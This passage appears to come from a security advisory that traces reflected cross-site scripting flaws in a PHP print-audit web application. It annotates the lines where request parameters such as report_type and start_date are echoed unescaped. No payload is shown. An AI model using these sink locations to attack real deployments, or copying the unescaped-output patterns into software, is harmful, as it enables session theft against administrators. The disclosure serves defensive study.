 <span style="color: #666666">15</span> <span style="color: #19177C">$async_database_query_ids</span> <span style="color: #666666">=</span> <span style="color: #008000">isset</span>(<span style="color: #19177C">$_REQUEST</span>[<span style="color: #BA2121">&quot;async_database_query_ids&quot;</span>]) <span style="color: #666666">?</span> <span style="color: #19177C">$_REQUEST</span>[<span style="color: #BA2121">&quot;async_database_query_ids&quot;</span>] <span style="color: #666666">:</span> <span style="color: #008000; font-weight: bold">null</span>;
 <span style="color: #666666">16</span> <span style="color: #19177C">$export</span> <span style="color: #666666">=</span> requestint(<span style="color: #BA2121">&quot;export&quot;</span>, <span style="color: #666666">0</span>);
 <span style="color: #666666">17</span> <span style="color: #19177C">$report_type</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;report_type&quot;</span>, <span style="color: #BA2121">&quot;Overview&quot;</span>);
 <span style="color: #666666">18</span> <span style="color: #19177C">$sort_by</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;sort_by&quot;</span>);
 <span style="color: #666666">19</span> <span style="color: #19177C">$sort_order</span> <span style="color: #666666">=</span> requestint(<span style="color: #BA2121">&quot;sort_order&quot;</span>, <span style="color: #666666">1</span>);
 <span style="color: #666666">20</span> <span style="color: #19177C">$sort_char</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;&amp;#x25B&quot;</span> <span style="color: #666666">.</span> (<span style="color: #19177C">$sort_order</span> <span style="color: #666666">===</span> <span style="color: #666666">0</span> <span style="color: #666666">?</span> <span style="color: #BA2121">&quot;C&quot;</span> <span style="color: #666666">:</span> <span style="color: #BA2121">&quot;2&quot;</span>) <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;;&quot;</span>; 
 <span style="color: #666666">21</span> 
 <span style="color: #666666">22</span> <span style="color: #19177C">$page</span> <span style="color: #666666">=</span> requestint(<span style="color: #BA2121">&quot;page&quot;</span>, <span style="color: #666666">1</span>);
 <span style="color: #666666">23</span> <span style="color: #19177C">$start_date</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;start_date&quot;</span>);
 <span style="color: #666666">24</span> <span style="color: #19177C">$stop_date</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;stop_date&quot;</span>);
 <span style="color: #666666">25</span> <span style="color: #19177C">$start_time</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;start_time&quot;</span>);
 <span style="color: #666666">26</span> <span style="color: #19177C">$stop_time</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;stop_time&quot;</span>);
 <span style="color: #666666">27</span> <span style="color: #19177C">$time_offset</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;time_offset&quot;</span>);
 <span style="color: #666666">28</span> 
 <span style="color: #666666">29</span> <span style="color: #19177C">$user_name</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;user_name&quot;</span>, <span style="color: #008000; font-weight: bold">null</span>);
 <span style="color: #666666">30</span> <span style="color: #19177C">$job_title</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;job_title&quot;</span>, <span style="color: #008000; font-weight: bold">null</span>);
 <span style="color: #666666">31</span> <span style="color: #19177C">$computer_name</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;computer_name&quot;</span>, <span style="color: #008000; font-weight: bold">null</span>);
 <span style="color: #666666">32</span> <span style="color: #19177C">$manager_name</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;manager_name&quot;</span>, <span style="color: #008000; font-weight: bold">null</span>);
 <span style="color: #666666">33</span> <span style="color: #19177C">$department_name</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;department_name&quot;</span>, <span style="color: #008000; font-weight: bold">null</span>);
 <span style="color: #666666">34</span> <span style="color: #19177C">$printer_name</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;printer_name&quot;</span>, <span style="color: #008000; font-weight: bold">null</span>);
 <span style="color: #666666">35</span> <span style="color: #19177C">$printer_type</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;printer_type&quot;</span>);
 <span style="color: #666666">36</span> <span style="color: #19177C">$job_type</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;job_type&quot;</span>);
 <span style="color: #666666">37</span> 
 <span style="color: #666666">38</span> <span style="color: #19177C">$folder_path</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;folder_path&quot;</span>, <span style="color: #BA2121">&quot;&quot;</span>); 
 <span style="color: #666666">39</span> 
 <span style="color: #666666">40</span> <span style="color: #19177C">$show_tcpip_printers</span> <span style="color: #666666">=</span> requestint(<span style="color: #BA2121">&quot;show_tcpip_printers&quot;</span>, <span style="color: #666666">1</span>);
 <span style="color: #666666">41</span> <span style="color: #19177C">$show_usb_printers</span> <span style="color: #666666">=</span> requestint(<span style="color: #BA2121">&quot;show_usb_printers&quot;</span>, <span style="color: #666666">1</span>);
 <span style="color: #666666">42</span> <span style="color: #19177C">$show_folder_accumulate</span> <span style="color: #666666">=</span> requestint(<span style="color: #BA2121">&quot;show_folder_accumulate&quot;</span>, <span style="color: #666666">1</span>);
 <span style="color: #666666">43</span> 
 <span style="color: #666666">44</span> <span style="color: #008000; font-weight: bold">require_once</span>(<span style="color: #BA2121">&#39;audit_records_html.php&#39;</span>);
</pre></div>

<p>4 different XSS <code>/var/www/app/admin/query/audit_records_html.php</code>:</p>
<p>Content of <code>/var/www/app/admin/query/audit_records.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
  <span style="color: #666666">9</span> <span style="color: #008000; font-weight: bold">if</span>(<span style="color: #666666">!</span>GLOBALS<span style="color: #666666">::</span><span style="color: #19177C">$login</span><span style="color: #666666">-&gt;</span><span style="color: #7D9029">is_logged_in</span>())
 <span style="color: #666666">11</span>         <span style="color: #008000; font-weight: bold">case</span> <span style="color: #BA2121">&#39;overview - paper size&#39;</span><span style="color: #666666">:</span>
 <span style="color: #666666">12</span>             <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #008000">strtolower</span>(<span style="color: #19177C">$report_type</span>) <span style="color: #666666">===</span> <span style="color: #BA2121">&quot;overview - all&quot;</span>) {
 <span style="color: #666666">13</span>                 <span style="color: #19177C">$title</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&#39;Print Job Records Overview for &#39;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$start_date</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&#39; to &#39;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$stop_date</span>; [<span style="color: #666666">1</span>] XSS with <span style="color: #19177C">$start_date</span> <span style="color: #008000; font-weight: bold">and</span> <span style="color: #19177C">$stop_date</span>
 <span style="color: #666666">14</span>                 <span style="color: #008000; font-weight: bold">print</span> <span style="color: #BA2121">&quot;&lt;h1&gt;</span><span style="color: #BB6688; font-weight: bold">{</span><span style="color: #19177C">$title</span><span style="color: #BB6688; font-weight: bold">}</span><span style="color: #BA2121">&lt;/h1&gt;&quot;</span>;                                                      [<span style="color: #666666">2</span>] XSS with <span style="border: 1px solid #FF0000">$</span>{title}
 <span style="color: #666666">15</span>             }    
 <span style="color: #666666">16</span>             <span style="color: #008000; font-weight: bold">require_once</span> ABSPATH <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;admin/design/reports/overview_main.php&quot;</span>;
 <span style="color: #666666">17</span>             <span style="color: #008000; font-weight: bold">break</span>;
 <span style="color: #666666">18</span>         <span style="color: #008000; font-weight: bold">case</span> <span style="color: #BA2121">&#39;records&#39;</span><span style="color: #666666">:</span>
 <span style="color: #666666">19</span>             <span style="color: #008000; font-weight: bold">require_once</span> ABSPATH <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;admin/design/reports/print_job_records.php&quot;</span>;
 <span style="color: #666666">20</span>             <span style="color: #008000; font-weight: bold">break</span>;
 <span style="color: #666666">21</span>         <span style="color: #008000; font-weight: bold">case</span> <span style="color: #BA2121">&#39;user&#39;</span><span style="color: #666666">:</span>
 <span style="color: #666666">22</span>             <span style="color: #19177C">$object_name</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;User&quot;</span>;
 <span style="color: #666666">23</span>             <span style="color: #008000; font-weight: bold">require_once</span> ABSPATH <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;admin/design/reports/print_job_others.php&quot;</span>;
 <span style="color: #666666">24</span>             <span style="color: #008000; font-weight: bold">break</span>;
 <span style="color: #666666">25</span>         <span style="color: #008000; font-weight: bold">case</span> <span style="color: #BA2121">&#39;manager&#39;</span><span style="color: #666666">:</span>
 <span style="color: #666666">26</span>             <span style="color: #19177C">$object_name</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;Manager&quot;</span>;
 <span style="color: #666666">27</span>             <span style="color: #008000; font-weight: bold">require_once</span> ABSPATH <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;admin/design/reports/print_job_others.php&quot;</span>;
 <span style="color: #666666">28</span>             <span style="color: #008000; font-weight: bold">break</span>;
 <span style="color: #666666">29</span>         <span style="color: #008000; font-weight: bold">case</span> <span style="color: #BA2121">&#39;department&#39;</span><span style="color: #666666">:</span>
 <span style="color: #666666">30</span>             <span style="color: #19177C">$object_name</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;Department&quot;</span>;
 <span style="color: #666666">31</span>             <span style="color: #008000; font-weight: bold">require_once</span> ABSPATH <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;admin/design/reports/print_job_others.php&quot;</span>;
 <span style="color: #666666">32</span>             <span style="color: #008000; font-weight: bold">break</span>;
 <span style="color: #666666">33</span>         <span style="color: #008000; font-weight: bold">case</span> <span style="color: #BA2121">&#39;job title&#39;</span><span style="color: #666666">:</span>
 <span style="color: #666666">34</span>             <span style="color: #19177C">$object_name</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;Job Title&quot;</span>;
 <span style="color: #666666">35</span>             <span style="color: #008000; font-weight: bold">require_once</span> ABSPATH <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;admin/design/reports/print_job_others.php&quot;</span>;
 <span style="color: #666666">36</span>             <span style="color: #008000; font-weight: bold">break</span>;
 <span style="color: #666666">37</span>         <span style="color: #008000; font-weight: bold">case</span> <span style="color: #BA2121">&#39;printer&#39;</span><span style="color: #666666">:</span>
 <span style="color: #666666">38</span>             <span style="color: #19177C">$object_name</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;Printer&quot;</span>;
 <span style="color: #666666">39</span>             <span style="color: #008000; font-weight: bold">require_once</span> ABSPATH <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;admin/design/reports/print_job_others.php&quot;</span>;
 <span style="color: #666666">40</span>             <span style="color: #008000; font-weight: bold">break</span>;
 <span style="color: #666666">41</span>         <span style="color: #008000; font-weight: bold">case</span> <span style="color: #BA2121">&#39;folder&#39;</span><span style="color: #666666">:</span>
 <span style="color: #666666">42</span>             <span style="color: #19177C">$object_name</span> <span style="color: #666666">=</span> <span style="color: #BA2121">&quot;Folder&quot;</span>;
 <span style="color: #666666">43</span>             <span style="color: #008000; font-weight: bold">require_once</span> ABSPATH <span style="color: #666666">.</span> <span style="color: #BA2121">&quot;admin/design/reports/print_job_folder.php&quot;</span>;
 <span style="color: #666666">44</span>             <span style="color: #008000; font-weight: bold">break</span>;
 <span style="color: #666666">45</span>         <span style="color: #008000; font-weight: bold">default</span><span style="color: #666666">:</span>
 <span style="color: #666666">46</span>             <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #BA2121">&quot;Report type is not supported: &#39;</span><span style="color: #BB6688; font-weight: bold">$report_type</span><span style="color: #BA2121">&#39;&quot;</span>;                               [<span style="color: #666666">3</span>] XSS because <span style="color: #19177C">$report_type</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;report_type&quot;</span>, <span style="color: #BA2121">&quot;Overview&quot;</span>);
 <span style="color: #666666">47</span>             <span style="color: #008000; font-weight: bold">break</span>;
</pre></div>

<p>Then the php files that are included from the <code>audit_records_html.php</code> also contain XSS:</p>
<p>Content of <code>/var/www/app/admin/design/reports/print_job_others.php</code>, with 12 XSS:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">76</span> <span style="color: #19177C">$header_params</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">array</span>(
 <span style="color: #666666">77</span>         <span style="color: #BA2121">&#39;report_type&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$report_type</span>,
 <span style="color: #666666">78</span>         <span style="color: #BA2121">&#39;start_date&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$start_date</span>,
 <span style="color: #666666">79</span>         <span style="color: #BA2121">&#39;start_time&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$start_time</span>,
 <span style="color: #666666">80</span>         <span style="color: #BA2121">&#39;stop_date&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$stop_date</span>,
 <span style="color: #666666">81</span>         <span style="color: #BA2121">&#39;stop_time&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$stop_time</span>,
 <span style="color: #666666">82</span> );
[<span style="color: #666666">...</span>]
<span style="color: #666666">208</span>                 report_header(<span style="color: #19177C">$header_params</span>);               [<span style="color: #666666">1</span>] <span style="color: #666666">6</span> XSS
[<span style="color: #666666">...</span>]
<span style="color: #666666">213</span>         report_header(<span style="color: #19177C">$header_params</span>);                       [<span style="color: #666666">6</span>] <span style="color: #666666">6</span> XSS
</pre></div>

<p>With the function <code>report_header()</code> implemented in <code>/web/www/app/helpers/reports.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">316</span> <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">report_header</span>(<span style="color: #19177C">$params</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">array</span>()) {
<span style="color: #666666">317</span>         <span style="color: #19177C">$report_type</span> <span style="color: #666666">=</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$params</span>[<span style="color: #BA2121">&#39;report_type&#39;</span>])) <span style="color: #666666">?</span> <span style="color: #19177C">$params</span>[<span style="color: #BA2121">&#39;report_type&#39;</span>] <span style="color: #666666">:</span> <span style="color: #BA2121">&#39;&#39;</span>;
<span style="color: #666666">318</span>         <span style="color: #19177C">$start_date</span> <span style="color: #666666">=</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$params</span>[<span style="color: #BA2121">&#39;start_date&#39;</span>])) <span style="color: #666666">?</span> <span style="color: #19177C">$params</span>[<span style="color: #BA2121">&#39;start_date&#39;</span>] <span style="color: #666666">:</span> <span style="color: #BA2121">&#39;&#39;</span>;
<span style="color: #666666">319</span>         <span style="color: #19177C">$start_time</span> <span style="color: #666666">=</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$params</span>[<span style="color: #BA2121">&#39;start_time&#39;</span>])) <span style="color: #666666">?</span> <span style="color: #19177C">$params</span>[<span style="color: #BA2121">&#39;start_time&#39;</span>] <span style="color: #666666">:</span> <span style="color: #BA2121">&#39;&#39;</span>;
<span style="color: #666666">320</span>         <span style="color: #19177C">$stop_date</span> <span style="color: #666666">=</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$params</span>[<span style="color: #BA2121">&#39;stop_date&#39;</span>])) <span style="color: #666666">?</span> <span style="color: #19177C">$params</span>[<span style="color: #BA2121">&#39;stop_date&#39;</span>] <span style="color: #666666">:</span> <span style="color: #BA2121">&#39;&#39;</span>;
<span style="color: #666666">321</span>         <span style="color: #19177C">$stop_time</span> <span style="color: #666666">=</span> (<span style="color: #008000">isset</span>(<span style="color: #19177C">$params</span>[<span style="color: #BA2121">&#39;stop_time&#39;</span>])) <span style="color: #666666">?</span> <span style="color: #19177C">$params</span>[<span style="color: #BA2121">&#39;stop_time&#39;</span>] <span style="color: #666666">:</span> <span style="color: #BA2121">&#39;&#39;</span>;
<span style="color: #666666">322</span>
<span style="color: #666666">323</span>         <span style="color: #19177C">$date_range</span> <span style="color: #666666">=</span> <span style="color: #19177C">$start_date</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&#39; &#39;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$start_time</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&#39; - &#39;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$stop_date</span> <span style="color: #666666">.</span> <span style="color: #BA2121">&#39; &#39;</span> <span style="color: #666666">.</span> <span style="color: #19177C">$stop_time</span>;
[<span style="color: #666666">...</span>]
<span style="color: #666666">335</span>                 <span style="color: #666666">&lt;</span>h2<span style="color: #666666">&gt;&lt;?</span>php <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #19177C">$report_type</span>; <span style="color: #BC7A00">?&gt;</span>&lt;/h2&gt;         [1] XSS
336                 &lt;h3&gt;<span style="color: #BC7A00">&lt;?php</span> <span style="color: #008000; font-weight: bold">echo</span> <span style="color: #19177C">$date_range</span>; <span style="color: #BC7A00">?&gt;</span>&lt;/h3&gt;          [2] XSS
</pre></div>

<p>These values are:</p>
<ul>
<li>$report_type = $params['report_type'] = $report_type (print_job_others.php) = requeststr("report_type", "Overview"); (audit_records.php)</li>
<li>$date_range = $start_date . ' ' . $start_time . ' - ' . $stop_date . ' ' . $stop_time;</li>
</ul>
<p>These 4 variables come from audit_records.php:</p>
<p>Content of <code>/var/www/app/admin/query/audit_records.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">23</span> <span style="color: #19177C">$start_date</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;start_date&quot;</span>);
 <span style="color: #666666">24</span> <span style="color: #19177C">$stop_date</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;stop_date&quot;</span>);
 <span style="color: #666666">25</span> <span style="color: #19177C">$start_time</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;start_time&quot;</span>);
 <span style="color: #666666">26</span> <span style="color: #19177C">$stop_time</span> <span style="color: #666666">=</span> requeststr(<span style="color: #BA2121">&quot;stop_time&quot;</span>);
</pre></div>

<p>Same XSS for <code>/var/www/app/admin/design/reports/print_job_folder.php</code>:</p>
<p>Content of <code>/var/www/app/admin/design/reports/print_job_folder.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">240</span> <span style="color: #19177C">$params</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">array</span>(
<span style="color: #666666">241</span>         <span style="color: #BA2121">&#39;report_type&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$report_type</span>,
<span style="color: #666666">242</span>         <span style="color: #BA2121">&#39;start_date&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$start_date</span>,
<span style="color: #666666">243</span>         <span style="color: #BA2121">&#39;start_time&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$start_time</span>,
<span style="color: #666666">244</span>         <span style="color: #BA2121">&#39;stop_date&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$stop_date</span>,
<span style="color: #666666">245</span>         <span style="color: #BA2121">&#39;stop_time&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$stop_time</span>,
[<span style="color: #666666">...</span>]
<span style="color: #666666">261</span>         report_header(<span style="color: #19177C">$params</span>);  [<span style="color: #666666">1</span>] <span style="color: #666666">6</span> XSS
[<span style="color: #666666">...</span>]
<span style="color: #666666">266</span>     report_header(<span style="color: #19177C">$params</span>);      [<span style="color: #666666">2</span>] <span style="color: #666666">6</span> XSS
</pre></div>

<p>Same XSS for <code>/www/app/admin/design/reports/print_job_records.php</code>:</p>
<p>Content of <code>/www/app/admin/design/reports/print_job_records.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">227</span> <span style="color: #19177C">$params</span> <span style="color: #666666">=</span> [
<span style="color: #666666">228</span>     <span style="color: #BA2121">&#39;report_type&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$report_type</span>,
<span style="color: #666666">229</span>     <span style="color: #BA2121">&#39;start_date&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$start_date</span>,
<span style="color: #666666">230</span>     <span style="color: #BA2121">&#39;start_time&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$start_time</span>,
<span style="color: #666666">231</span>     <span style="color: #BA2121">&#39;stop_date&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$stop_date</span>,
<span style="color: #666666">232</span>     <span style="color: #BA2121">&#39;stop_time&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$stop_time</span>,
<span style="color: #666666">...</span>
<span style="color: #666666">258</span>         report_header(<span style="color: #19177C">$params</span>);   [<span style="color: #666666">1</span>] <span style="color: #666666">6</span> XSS
<span style="color: #666666">...</span>
<span style="color: #666666">263</span>     report_header(<span style="color: #19177C">$params</span>);       [<span style="color: #666666">2</span>] <span style="color: #666666">6</span> XSS
</pre></div>

<p><code>/var/www/app/admin/design/reports/overview_main.php</code> will include several files depending on the $report_type (attacker-controlled value):</p>
<ul>
<li>admin/design/reports/overview_summary.php</li>
<li>admin/design/reports/overview_total_per_week.php</li>
<li>admin/design/reports/overview_time_of_day.php</li>
<li>admin/design/reports/overview_application_usage.php</li>
<li>admin/design/reports/overview_page_count.php</li>
<li>admin/design/reports/overview_environmental.php</li>
<li>admin/design/reports/overview_color.php</li>
<li>admin/design/reports/overview_paper_size.php</li>
</ul>
<p>This provides some other XSS vulnerabilities:</p>
<p>In <code>/var/www/admin/design/reports/overview_summary.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">32</span>         <span style="color: #19177C">$params</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">array</span>(
 <span style="color: #666666">33</span>                 <span style="color: #BA2121">&#39;report_type&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$report_type</span>,
 <span style="color: #666666">34</span>                 <span style="color: #BA2121">&#39;start_date&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$start_date</span>,
 <span style="color: #666666">35</span>                 <span style="color: #BA2121">&#39;start_time&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$start_time</span>,
 <span style="color: #666666">36</span>                 <span style="color: #BA2121">&#39;stop_date&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$stop_date</span>,
 <span style="color: #666666">37</span>                 <span style="color: #BA2121">&#39;stop_time&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$stop_time</span>,
 <span style="color: #666666">38</span>         );
 <span style="color: #666666">39</span>         report_header(<span style="color: #19177C">$params</span>);   [<span style="color: #666666">1</span>] <span style="color: #666666">6</span> XSS
</pre></div>

<p>In <code>/var/www/admin/design/reports/overview_total_per_week.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">51</span>         <span style="color: #19177C">$params</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">array</span>(
 <span style="color: #666666">52</span>                 <span style="color: #BA2121">&#39;report_type&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$report_type</span>,
 <span style="color: #666666">53</span>                 <span style="color: #BA2121">&#39;start_date&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$start_date</span>,
 <span style="color: #666666">54</span>                 <span style="color: #BA2121">&#39;start_time&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$start_time</span>,
 <span style="color: #666666">55</span>                 <span style="color: #BA2121">&#39;stop_date&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$stop_date</span>,
 <span style="color: #666666">56</span>                 <span style="color: #BA2121">&#39;stop_time&#39;</span> <span style="color: #666666">=&gt;</span> <span style="color: #19177C">$stop_time</span>,
 <span style="color: #666666">57</span>         );
 <span style="color: #666666">58</span>         report_header(<span style="color: #19177C">$params</span>);   [<span style="color: #666666">1</span>] <span style="color: #666666">6</span> XSS
</pre></div>

<p>Same XSS issues in:</p>
<ul>
<li>overview_time_of_day.php</li>
<li>overview_application_usage.php</li>
<li>overview_page_count.php</li>
<li>overview_environmental.php</li>
<li>overview_color.php</li>
<li>overview_paper_size.php</li>
</ul>
<p>Other XSS were found in different files:</p>
<p>Content of <code>/var/www/app/admin/query/audit_auditrecords.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
 <span style="color: #666666">89</span>           <span style="color: #008000; font-weight: bold">var</span> data <span style="color: #666666">=</span> {
 <span style="color: #666666">90</span>               <span style="color: #BA2121">&#39;validcheck&#39;</span><span style="color: #666666">:</span> <span style="color: #008000; font-weight: bold">true</span>,
 <span style="color: #666666">91</span>               <span style="color: #BA2121">&#39;report_params&#39;</span><span style="color: #666666">:</span> {
 <span style="color: #666666">92</span>                   <span style="color: #BA2121">&#39;start_date&#39;</span><span style="color: #666666">:</span> <span style="color: #BA2121">&#39;&lt;?= requeststr(&#39;</span>start_date<span style="color: #BA2121">&#39;) ?&gt;&#39;</span>,        [<span style="color: #666666">1</span>] XSS everywhere
 <span style="color: #666666">93</span>                   <span style="color: #BA2121">&#39;stop_date&#39;</span><span style="color: #666666">:</span> <span style="color: #BA2121">&#39;&lt;?= requeststr(&#39;</span>stop_date<span style="color: #BA2121">&#39;) ?&gt;&#39;</span>,
 <span style="color: #666666">94</span>                   <span style="color: #BA2121">&#39;start_time&#39;</span><span style="color: #666666">:</span> <span style="color: #BA2121">&#39;&lt;?= requeststr(&#39;</span>start_time<span style="color: #BA2121">&#39;) ?&gt;&#39;</span>,
 <span style="color: #666666">95</span>                   <span style="color: #BA2121">&#39;stop_time&#39;</span><span style="color: #666666">:</span> <span style="color: #BA2121">&#39;&lt;?= requeststr(&#39;</span>stop_time<span style="color: #BA2121">&#39;) ?&gt;&#39;</span>,
 <span style="color: #666666">96</span>                   <span style="color: #BA2121">&#39;time_offset&#39;</span><span style="color: #666666">:</span> <span style="color: #BA2121">&#39;&lt;?= requestint(&#39;</span>time_offset<span style="color: #BA2121">&#39;) * 60 * 60 ?&gt;&#39;</span>,
 <span style="color: #666666">97</span>                   <span style="color: #BA2121">&#39;object_name&#39;</span><span style="color: #666666">:</span> <span style="color: #BA2121">&#39;&lt;?= requeststr(&#39;</span>object_name<span style="color: #BA2121">&#39;, &#39;&#39;) ?&gt;&#39;</span>,
 <span style="color: #666666">98</span>                   <span style="color: #BA2121">&#39;username&#39;</span><span style="color: #666666">:</span> <span style="color: #BA2121">&#39;&lt;?= requeststr(&#39;</span>username<span style="color: #BA2121">&#39;) ?&gt;&#39;</span>,
 <span style="color: #666666">99</span>                   <span style="color: #BA2121">&#39;object_type&#39;</span><span style="color: #666666">:</span> <span style="color: #BA2121">&#39;&lt;?= requestint(&#39;</span>object_type<span style="color: #BA2121">&#39;,0) ?&gt;&#39;</span>,
<span style="color: #666666">100</span>                   <span style="color: #BA2121">&#39;object_id&#39;</span><span style="color: #666666">:</span> <span style="color: #BA2121">&#39;&lt;?= requestint(&#39;</span>object_id<span style="color: #BA2121">&#39;,0) ?&gt;&#39;</span>,
<span style="color: #666666">101</span>                   <span style="color: #BA2121">&#39;order&#39;</span><span style="color: #666666">:</span> <span style="color: #BA2121">&#39;&lt;?= requeststr(&#39;</span>order<span style="color: #BA2121">&#39;,&#39;&#39;) ?&gt;&#39;</span>,
</pre></div>

<p>With the function <code>requeststr()</code> function implemented in <code>/var/www/app/lib/common/global.inc.php</code>. Futhermore, <code>stripslashes()</code> doesn't protect against XSS.</p>
<p>Content of <code>/var/www/app/lib/common/global.inc.php</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span>  1 <span style="color: #BC7A00">&lt;?php</span>
[<span style="color: #666666">...</span>]
<span style="color: #666666">253</span> <span style="color: #008000; font-weight: bold">if</span> (<span style="color: #666666">!</span><span style="color: #008000">function_exists</span>(<span style="color: #BA2121">&#39;requeststr&#39;</span>))
<span style="color: #666666">254</span> {
<span style="color: #666666">255</span>         <span style="color: #008000; font-weight: bold">function</span> <span style="color: #0000FF">requeststr</span>(<span style="color: #19177C">$str</span>, <span style="color: #19177C">$def</span> <span style="color: #666666">=</span> <span style="color: #008000; font-weight: bold">NULL</span>)
<span style="color: #666666">256</span>         {
<span style="color: #666666">257</span>                 <span style="color: #19177C">$r</span> <span style="color: #666666">=</span> <span style="color: #19177C">$def</span>;
